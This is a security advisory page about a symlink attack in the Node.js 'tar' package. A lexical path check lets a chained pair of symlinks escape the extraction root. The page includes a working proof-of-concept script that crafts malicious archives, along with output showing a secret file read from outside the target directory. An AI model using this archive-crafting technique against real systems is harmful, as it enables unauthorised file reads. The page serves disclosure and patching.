Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applicationsUpgrade tar to version 8.0.0 or higher.
tar is a full-featured Tar for Node.js.
Affected versions of this package are vulnerable to Symlink Attack via the symlink linkpath containment check in src/unpack.ts, which performs a lexical path.resolve rather than a filesystem-aware resolution. An attacker can craft a tar archive with two entries: a first symlink pointing to . (accepted as within cwd) and a second symlink whose target traverses through the first via s1/../secret.txt. Because path.resolve collapses the .. lexically, the resolved path appears to remain inside the extraction root, but the kernel follows the first symlink before applying .., causing the second symlink to point outside the extraction directory. This allows arbitrary file read of any file accessible to the extracting process by planting a symlink that escapes the extraction root.
tar 7.5.22, tar-stream 3.2.2, node 22, Docker with --network none. secret.txt sits next to the extraction dir.
const tar = require('tar'), tarstream = require('tar-stream'), fs = require('fs'), path = require('path');
const base = process.argv[2]; const root = path.join(base,'root'); const ext = path.join(root,'ext');
fs.mkdirSync(root,{recursive:true}); fs.writeFileSync(path.join(root,'secret.txt'),'CANARY\n');
const ents = {
direct: [{name:'evil',type:'symlink',linkname:'../secret.txt'}],
dotdot_via_s1: [{name:'s1',type:'symlink',linkname:'.'},{name:'s2',type:'symlink',linkname:'s1/../secret.txt'}],
hardlink_via_s1: [{name:'s1',type:'symlink',linkname:'.'},{name:'h',type:'link',linkname:'s1/../secret.txt'}],
hardlink_abs: [{name:'h',type:'link',linkname:path.join(root,'secret.txt')}],
file_through_link: [{name:'s1',type:'symlink',linkname:'.'},{name:'s2',type:'symlink',linkname:'s1/..'},{name:'s2/pwn.txt',type:'file',data:'X'}],
};
(async()=>{ for (const [k,es] of Object.entries(ents)) {
fs.rmSync(ext,{recursive:true,force:true}); fs.rmSync(path.join(root,'pwn.txt'),{force:true}); fs.mkdirSync(ext,{recursive:true});
const p = tarstream.pack(); for (const e of es) p.entry({name:e.name,type:e.type,linkname:e.linkname,mode:0o644}, e.data); p.finalize();
const chunks=[]; for await (const c of p) chunks.push(c); fs.writeFileSync(path.join(base,'t.tar'), Buffer.concat(chunks));
const warns=[]; try { await tar.x({file:path.join(base,'t.tar'), cwd:ext, onwarn:(c,m)=>warns.push(c)}); } catch(e){ warns.push('ERR '+e.message); }
const ls = fs.readdirSync(ext).map(n=>{try{return n+(fs.lstatSync(path.join(ext,n)).isSymbolicLink()?'->'+fs.readlinkSync(path.join(ext,n)):'')}catch(e){return n}});
let rd='-'; for (const n of ['evil','s2','h']) try { rd=n+':'+JSON.stringify(fs.readFileSync(path.join(ext,n),'utf8')); break;}catch(e){}
console.log(k.padEnd(18), 'warn=',JSON.stringify(warns),'entries=',JSON.stringify(ls),'read=',rd,'pwn_outside=',fs.existsSync(path.join(root,'pwn.txt')));
}})();
direct warn= ["TAR_ENTRY_ERROR"] entries= [] read= - pwn_outside= false
dotdot_via_s1 warn= [] entries= ["s1->.","s2->s1/../secret.txt"] read= s2:"CANARY\n" pwn_outside= false
hardlink_via_s1 warn= ["TAR_ENTRY_ERROR"] entries= ["s1->."] read= - pwn_outside= false
hardlink_abs warn= ["TAR_ENTRY_INFO","TAR_ENTRY_ERROR"] entries= [] read= - pwn_outside= false
file_through_link warn= ["TAR_ENTRY_ERROR"] entries= ["s1->.","s2->s1/.."] read= - pwn_outside= false
The direct form is rejected (control). The two-step form extracts with no warning, and reading s2 returns the file outside the root.
Note: The PoC targets tar 7.5.22, tar-stream 3.2.2, and Node.js 22, run inside a Docker container with --network none.